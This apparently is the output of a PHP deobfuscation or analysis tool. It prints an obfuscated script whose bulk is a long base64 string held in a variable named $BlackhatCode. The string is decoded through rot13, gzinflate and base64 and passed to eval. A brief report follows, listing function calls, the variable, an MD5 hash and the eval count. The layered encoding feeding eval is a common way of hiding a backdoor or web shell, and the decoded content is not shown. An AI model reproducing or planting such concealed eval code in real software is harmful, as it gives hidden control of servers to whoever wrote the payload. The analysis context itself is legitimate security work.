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
=";
eval(str_rot13(gzinflate(str_rot13(base64_decode(($BlackhatCode))))));

Function Calls

ini_set 2
gzinflate 1
str_rot13 2
base64_decode 1

Variables

$BlackhatCode 7b17e9pVsjj8auZs5jt1S+9vrx2bi1ZPHHsGm/vdgMEmk8dUIlUYg5AEyIg5..

Stats

MD5 f1a8581db216495bef8897bbf4021b6d
Eval Count 1
Decode Time 610 ms